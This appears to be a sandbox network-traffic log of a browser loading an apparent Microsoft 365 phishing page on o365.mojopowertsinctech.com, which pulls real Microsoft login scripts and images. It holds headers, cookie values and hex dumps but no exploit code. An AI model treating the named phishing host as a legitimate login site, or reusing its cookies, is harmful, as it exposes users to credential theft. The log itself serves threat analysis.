2024-02-23 10:49:26 UTC	765	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:26 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Sun, 18 Oct 2020 03:02:03 GMT ETag: 0x8D8731230C851A6 x-ms-request-id: 00865278-501e-007b-6a3c-663289000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240223T104926Z-haztcu2kah0y59cd8ugckhh26n00000000ng0000000056gz x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-02-23 10:49:26 UTC	15619	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-02-23 10:49:26 UTC	1555	IN	Data Raw: 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 Data Ascii: ( @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""333

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49759	13.107.213.40	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:26 UTC	620	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_88c449fa421fff689c33.js HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://o365.mojopowertsinctech.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:49:27 UTC	798	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:27 GMT Content-Type: application/x-javascript Content-Length: 54327 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Mon, 05 Feb 2024 18:13:20 GMT ETag: 0x8DC2676221C2709 x-ms-request-id: 8d71a63a-001e-0022-7a45-6622a9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240223T104926Z-zw2w2uwtpd3cfez4zx14ufanwn00000004d00000000063st x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-02-23 10:49:27 UTC	15586	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ec bd 6b 7b db 46 92 30 fa 7d 7f 05 85 67 46 06 4c 90 22 a9 8b 65 52 10 c7 76 92 79 bd 4f 12 fb d8 ce bc 67 8f cc c9 03 81 a0 84 98 02 b8 b8 d8 d6 88 dc df 7e aa aa ef 40 83 92 af c9 66 3c bb b1 88 46 a3 2f d5 dd d5 75 af bd fb 3b ff d1 b9 df e9 dd fd 7f 9d 97 af 1e bd 78 d5 79 f6 43 e7 d5 ff 79 fa e2 bb ce 73 78 fa af ce cf cf 5e 3d 7d f2 fd dd db c1 4e f1 bf 57 97 49 d1 59 24 cb b8 03 7f cf c3 22 9e 77 b2 b4 93 e5 9d 24 8d b2 7c 95 e5 61 19 17 9d 2b f8 37 4f c2 65 67 91 67 57 9d f2 32 ee ac f2 ec b7 38 2a 8b ce 32 29 4a f8 e8 3c 5e 66 ef 3a 2e 34 97 cf 3b cf c3 bc bc ee 3c 7d ee f5 a1 fd 18 5a 4b 2e 92 14 be 8e b2 d5 35 fc be 2c 3b 69 56 26 51 dc 09 d3 39 b5 b6 84 87 b4 88 3b 55 3a 8f f3 ce bb cb 24 ba ec fc 94 44 79 56 64 Data Ascii: k{F0}gFL"eRvyOg~@f<F/u;xyCysx^=}NWIY$"w$\|a+7OeggW28*2)J<^f:.4;<}ZK.5,;iV&Q9;U:$DyVd
2024-02-23 10:49:27 UTC	16384	IN	Data Raw: 1f e2 b1 46 38 af 9e 0a 53 08 44 4d 5f 33 61 66 29 34 c3 3a 06 29 4d 83 4a c3 75 81 1c d3 9a 08 81 19 f4 dc c1 7a 32 6d b1 9e 64 76 93 63 a3 66 ee a1 99 b3 a8 c9 7a 50 d5 e9 59 c9 06 f1 dc 84 ef ac 59 56 c8 74 39 d1 11 7d cd 8a 19 bf cd 32 63 6f b6 18 ca da 8d 61 09 3b 70 4f 3a 63 f1 3e a3 0b 1d ee 67 c3 68 bc 45 d8 4c 5f 6a 56 05 16 8f 13 71 f1 db 7c 33 88 34 60 b6 cf 31 29 c1 b8 03 06 ea c2 a6 40 8d 0f 51 1d 36 f4 c6 b9 e6 80 c1 dc a3 7c a1 4e dc e8 63 7d 7c dd a4 f8 b7 fb c0 6c 37 d3 b7 7a c0 e4 f5 59 db 9d 11 f2 56 27 80 5c 49 99 01 03 93 58 d6 a0 3e ab 2d a4 fb f1 76 d2 fd ae 54 2d fa c3 10 93 41 c4 ec 76 26 83 5b 4e 9b 7b bd 41 bc d5 6d 20 cd 29 25 5b a6 f4 b0 31 25 e3 50 4b 62 25 6f 08 5a 7d 2d d6 f7 70 92 62 f0 ee b4 d7 d3 fd da 27 4e 1f f7 53 06 Data Ascii: F8SDM_3af)4:)MJuz2mdvcfzPYYVt9}2coa;pO:c>ghEL_jVq\|34`1)@Q6\|Nc}\|l7zYV'\IX>-vT-Av&[N{Am )%[1%PKb%oZ}-pb'NS
2024-02-23 10:49:27 UTC	16384	IN	Data Raw: cd 1d 90 88 d8 2c 5e 6d c3 ba 34 8a 1e 3c 3a a2 95 47 c7 75 94 a3 ff 7e 93 64 d8 3e cc e5 65 a0 72 5b 63 3b e2 88 83 2d 71 61 bb 49 55 4a 1b f6 6a 5b e6 37 e5 8b e2 fe 65 ad 2b 05 88 b0 7b 97 83 bc a6 1c cb d7 ef f8 28 77 57 e5 d5 85 91 64 5c 5b d0 22 2d 2d 19 bc 94 fc de a7 a4 ce 5c c1 96 ba bb b1 98 4f 15 8a 9b f3 b7 5e 45 3f df 30 74 7f 8b f1 92 2e 3d 2b 44 39 90 21 62 4e 69 62 be ca be 28 5f 87 97 54 2e 3d 6d 27 a4 d1 75 fc de 2b e8 dc 05 2e e4 fc 1d 8b cf 1d 7d f3 6b b4 f0 34 20 4b af c4 2b 1b 64 e9 95 78 aa 4b 9b d6 7b af 7c 71 d2 9c 8e a0 4c 47 eb 41 99 5c 23 39 e3 37 f6 ef 83 ec ff bb d8 5e d7 cd 04 14 b7 db 5b 6b 6d 9b 7c b9 b5 ed 17 d8 d9 52 5b 1a 4c 6d 55 6b 1c 8b 5b ca fc cb 8d 6e dd 9e 2e ff b4 51 ff 95 6d d4 d1 75 e5 d7 b4 51 8f d6 db a8 17 Data Ascii: ,^m4<:Gu~d>er[c;-qaIUJj[7e+{(wWd\["--\O^E?0t.=+D9!bNib(_T.=m'u+.}k4 K+dxK{\|qLGA\#97^[km\|R[LmUk[n.QmuQ
2024-02-23 10:49:27 UTC	5973	IN	Data Raw: 01 f2 5d ff de 98 b0 b0 3e 49 0e 7e 63 40 3c 29 b8 d4 80 14 aa 30 32 c0 a4 8e 42 d4 35 3d 5f 18 b8 a3 11 36 4f 9a 57 c3 d9 f4 e0 b4 78 f0 97 0d 0d bb 85 3e 8b 58 ca db 7e e0 c3 1b 78 bd b3 c3 96 68 64 69 85 5f 70 17 50 83 d8 fd 33 ab bf b8 a2 b3 1d 87 c9 32 e6 91 0b 6c 50 5a 4a f6 5c 2d 1d b3 22 79 95 55 3b 8d 66 e7 4b 13 fe f9 25 af ed 06 6b ab 90 17 34 34 0c 28 2d 2a bd f3 53 81 eb bc a7 ed 05 f4 5e c0 d3 52 49 96 b9 de 1f de bf 7c 96 5d cd b2 94 6c fd d5 a4 68 d0 26 69 0d 5f fd c2 29 7d a2 87 fc 59 11 97 e1 bc 9c 74 fa 47 bd f3 a8 88 0f 1e 0a 7d 53 2c 16 2b 4b 56 b3 6a cc df 50 b7 e1 7d 7c f1 e2 d3 8c 44 03 af 71 2e 54 93 44 da 4f 69 27 a2 25 1b d7 d3 f2 2d 12 36 b8 4e d2 71 76 bd 0d 47 ec b9 b2 bd cd cc 84 ae 68 90 37 f8 a7 18 b6 7d 41 2b a5 06 60 e8 Data Ascii: ]>I~c@<)02B5=_6OWx>X~xhdi_pP32lPZJ\-"yU;fK%k44(-*S^RI\|]lh&i_)}YtG}S,+KVjP}\|Dq.TDOi'%-6NqvGh7}A+`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49763	13.107.213.40	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:28 UTC	622	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_0462e056de1841aa000f.js HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://o365.mojopowertsinctech.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:49:28 UTC	824	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:28 GMT Content-Type: application/x-javascript Content-Length: 5513 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Sun, 21 Jan 2024 22:02:52 GMT ETag: 0x8DC1ACCB6CC9209 x-ms-request-id: 63ca1f25-601e-0024-15b5-64d8a5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240223T104928Z-uh37y75rz546t4th15shr14cvg00000000w0000000004m08 x-fd-int-roxy-purgeid: 4554691 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-02-23 10:49:28 UTC	5513	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ad 5b 7d 77 da c6 d2 ff bf 9f 42 e8 de 43 a4 9b b5 0c e9 3b ae ea e3 f0 92 d0 da b1 6b 70 7b d3 24 87 23 d0 02 8a 85 a4 6a 85 6d 6a f8 ee cf 6f 76 25 21 40 60 a7 cf cd 71 0c da 9d 9d 9d 9d 9d f7 91 8f ff 53 f9 4a fb 8f 76 f4 fc 7f 5a af 7f 76 dd d7 2e 3b 5a ff 6d f7 ba a5 5d e1 e9 bd f6 ee b2 df 6d b6 9f 8f 87 36 a5 ff fd a9 27 b4 b1 e7 73 0d 9f 43 47 70 57 0b 03 2d 8c 35 2f 18 85 71 14 c6 4e c2 85 36 c3 ef d8 73 7c 6d 1c 87 33 2d 99 72 2d 8a c3 cf 7c 94 08 cd f7 44 82 45 43 ee 87 f7 9a 01 74 b1 ab 5d 39 71 b2 d0 ba 57 a6 05 fc 1c d8 bc 89 17 60 f5 28 8c 16 f8 3e 4d b4 20 4c bc 11 d7 9c c0 95 d8 7c 3c 04 82 6b f3 c0 e5 b1 76 3f f5 46 53 ed c2 1b c5 a1 08 c7 89 16 f3 11 f7 ee b0 89 98 63 7c 73 0b a6 39 31 d7 04 4f b4 71 18 27 Data Ascii: [}wBC;kp{$#jmjov%!@`qSJvZv.;Zm]m6'sCGpW-5/qN6s\|m3-r-\|DECt]9qW`(>M L\|<kv?FSc\|s91Oq'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49765	13.107.213.40	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:28 UTC	670	OUT	GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://o365.mojopowertsinctech.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:49:28 UTC	761	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:28 GMT Content-Type: image/gif Content-Length: 2672 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Wed, 24 May 2023 10:11:47 GMT ETag: 0x8DB5C3F48EC4154 x-ms-request-id: 40a0f2a2-f01e-005d-2da6-6559b6000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240223T104928Z-dy79susabt6ff44wg44v98uzv000000000t0000000009u96 x-fd-int-roxy-purgeid: 4554691 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-02-23 10:49:28 UTC	2672	IN	Data Raw: 47 49 46 38 39 61 60 01 03 00 f0 00 00 ff ff ff 96 96 96 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 06 00 00 00 30 00 03 00 00 02 1a 8c 01 16 88 ca ec 1e 3c f2 a9 18 1b b5 5b e6 9a 5c 4b 38 6a e5 74 72 a9 67 14 00 21 f9 04 09 03 00 00 00 2c 07 00 00 00 33 00 03 00 00 02 1a 8c 81 16 c8 ca ef 5e 3b 12 2a 0a e2 5c 55 4b df 5d 5c 86 25 e5 56 99 63 aa 14 00 21 f9 04 09 05 00 00 00 2c 0a 00 00 00 37 00 03 00 00 02 1a 8c 81 60 91 b9 ed 0e 6c 6f c6 c5 ee ac 90 5b bf 61 19 02 2a 52 77 7e 69 18 14 00 21 Data Ascii: GIF89a`!NETSCAPE2.0!,`6PlHI:qJk`BYL&!,0<[\K8jtrg!,3^;\UK]\%Vc!,7`lo[a*Rw~i!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49764	13.107.213.40	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:28 UTC	664	OUT	GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://o365.mojopowertsinctech.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:49:28 UTC	761	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:28 GMT Content-Type: image/gif Content-Length: 3620 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Wed, 24 May 2023 10:11:48 GMT ETag: 0x8DB5C3F4904824B x-ms-request-id: c6f43646-601e-0070-4a16-66179e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240223T104928Z-892a5p77st5y70eyu8nx9e17p000000000fg00000000695b x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-02-23 10:49:28 UTC	3620	IN	Data Raw: 47 49 46 38 39 61 60 01 03 00 f0 00 00 00 00 00 69 69 69 21 f9 04 09 05 00 00 00 21 fe 26 45 64 69 74 65 64 20 77 69 74 68 20 65 7a 67 69 66 2e 63 6f 6d 20 6f 6e 6c 69 6e 65 20 47 49 46 20 6d 61 6b 65 72 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 1f 69 19 07 ec 96 8a b2 51 34 af de bc fb 0f 86 e2 48 96 e6 89 a6 6a 0a 3d 99 6b 39 2d 35 5f f5 8a e7 fa ce f7 fe 0f 8c b4 6a 37 98 a6 28 7b 05 97 cc a6 f3 09 d5 15 00 00 21 f9 04 09 03 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 0f Data Ascii: GIF89a`iii!!&Edited with ezgif.com online GIF maker!NETSCAPE2.0,`6PlHI:qJk`BYL*&!,`9iQ4Hj=k9-5_j7({!,`9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49768	172.67.204.183	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:29 UTC	906	OUT	GET /Me.htm?v=3 HTTP/1.1 Host: ywnjb.mojopowertsinctech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://o365.mojopowertsinctech.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f0d7-194e=5ecf874815ef86ac1ee9549752777d799e21a4d9a408356c503a0148268e1782; MUID=2CB8A7944ACF6378145EB3BA4B176235; uaid=ca60878750644841849607c8e94c1d38; MSPRequ=id=N&lt=1708685366&co=1
2024-02-23 10:49:29 UTC	1157	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:29 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=315360000 Expires: Mon, 20 Feb 2034 10:49:29 GMT P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Ppserver: PPV: 30 H: BL02EPF0000683C V: 0 Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: uaid=bb5a992d257f41739253c4d2edca1509; Path=/; Domain=ywnjb.mojopowertsinctech.com; HttpOnly; Secure; SameSite=None Set-Cookie: MSPRequ=id=N&lt=1708685369&co=2; Path=/; Domain=ywnjb.mojopowertsinctech.com; HttpOnly; Secure; SameSite=None Vary: Accept-Encoding X-Ms-Request-Id: 544e1ac4-6139-497e-bbbe-7ef2a3c3b8ec X-Ms-Route-Info: C107_BL2 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=DyiBrXj87Iz7FMsGqRX5AjRiVsQe88DvD%2F98g6qYp2Ze0%2FrQ70qsRVWaXy2e0ht4TRS7I%2BUmzC2UwDOH4pgKnP2LmIQ7mz8ROZDy87Xs9r%2FebMHFkpldFXcy7B2Z0I3F%2Bo4YEqo2mrqEDiz6bwzO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 859ee7069efa0f7d-EWR alt-svc: h3=":443"; ma=86400
2024-02-23 10:49:29 UTC	212	IN	Data Raw: 39 32 64 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 21 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 66 6f 72 28 76 61 72 20 65 20 69 6e 20 74 29 6e 5b 65 5d 3d 74 5b 65 5d 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 69 29 7b 69 66 28 65 5b 69 5d 29 72 65 74 75 72 6e 20 65 5b 69 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 73 3d 65 5b 69 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 2c 69 64 3a 69 2c 6c 6f 61 64 65 64 3a 21 31 7d 3b 72 65 74 75 72 6e 20 6e 5b 69 5d 2e 63 61 6c 6c 28 73 2e 65 78 70 6f 72 74 73 2c 73 2c 73 2e 65 78 70 6f 72 74 Data Ascii: 92d<script type="text/javascript">!function(n,t){for(var e in t)n[e]=t[e]}(this,function(n){function t(i){if(e[i])return e[i].exports;var s=e[i]={exports:{},id:i,loaded:!1};return n[i].call(s.exports,s,s.export
2024-02-23 10:49:29 UTC	1369	IN	Data Raw: 73 2c 74 29 2c 73 2e 6c 6f 61 64 65 64 3d 21 30 2c 73 2e 65 78 70 6f 72 74 73 7d 76 61 72 20 65 3d 7b 7d 3b 72 65 74 75 72 6e 20 74 2e 6d 3d 6e 2c 74 2e 63 3d 65 2c 74 2e 70 3d 22 22 2c 74 28 30 29 7d 28 5b 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 6e 29 7b 66 6f 72 28 76 61 72 20 74 3d 67 5b 63 5d 2c 65 3d 30 2c 69 3d 74 2e 6c 65 6e 67 74 68 3b 65 3c 69 3b 2b 2b 65 29 69 66 28 74 5b 65 5d 3d 3d 3d 6e 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 66 75 6e 63 74 69 6f 6e 20 69 28 6e 29 7b 69 66 28 21 6e 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 66 6f 72 28 76 61 72 20 74 3d 6e 2b 22 3d 22 2c 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 2e 73 70 6c 69 74 28 22 3b 22 29 2c 69 3d 30 2c 73 3d 65 2e 6c 65 6e 67 74 Data Ascii: s,t),s.loaded=!0,s.exports}var e={};return t.m=n,t.c=e,t.p="",t(0)}([function(n,t){function e(n){for(var t=g[c],e=0,i=t.length;e<i;++e)if(t[e]===n)return!0;return!1}function i(n){if(!n)return null;for(var t=n+"=",e=document.cookie.split(";"),i=0,s=e.lengt
2024-02-23 10:49:29 UTC	775	IN	Data Raw: 73 74 2c 65 29 7d 63 61 74 63 68 28 6f 29 7b 74 2e 65 72 72 6f 72 3d 6f 2e 6d 65 73 73 61 67 65 7d 6e 26 26 6c 2e 70 61 72 65 6e 74 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 2c 6e 29 7d 76 61 72 20 6c 3d 77 69 6e 64 6f 77 2c 63 3d 22 70 72 6f 64 22 2c 70 3d 22 22 2c 66 3d 22 22 2c 64 3d 7b 4e 6f 6e 65 3a 30 2c 53 69 67 6e 65 64 49 6e 54 6f 52 50 3a 31 2c 53 69 67 6e 65 64 49 6e 54 6f 49 44 50 3a 32 2c 52 65 6d 65 6d 62 65 72 65 64 3a 33 7d 2c 75 3d 7b 4e 6f 6e 65 3a 30 2c 49 73 57 69 6e 64 6f 77 73 53 73 6f 3a 31 7d 2c 67 3d 7b 64 65 76 3a 5b 70 2c 66 5d 2c 22 69 6e 74 22 3a 5b 22 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 77 69 6e 64 6f 77 73 2d 70 70 65 2e 6e 65 74 22 5d 2c 70 72 6f 64 3a 5b 22 68 74 74 70 Data Ascii: st,e)}catch(o){t.error=o.message}n&&l.parent.postMessage(JSON.stringify(t),n)}var l=window,c="prod",p="",f="",d={None:0,SignedInToRP:1,SignedInToIDP:2,Remembered:3},u={None:0,IsWindowsSso:1},g={dev:[p,f],"int":["https://login.windows-ppe.net"],prod:["http
2024-02-23 10:49:29 UTC	1100	IN	Data Raw: 34 34 35 0d 0a 0d 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6a 73 20 3d 20 22 77 69 6e 64 6f 77 5b 27 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 27 5d 3d 7b 72 3a 27 38 35 39 65 65 37 30 36 39 65 66 61 30 66 37 64 27 2c 74 3a 27 4d 54 63 77 4f 44 59 34 4e 54 4d 32 4f 53 34 33 4e 6a 4d 77 4d 44 41 3d 27 7d 3b 5f 63 70 6f 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 5f 63 70 6f 2e 6e 6f 6e 63 65 3d 27 27 2c 5f 63 70 6f 2e 73 72 63 3d 27 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 73 63 72 69 70 74 73 2f 6a 73 64 2f 6d 61 69 6e 2e 6a 73 27 2c 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 Data Ascii: 445<script>(function(){var js = 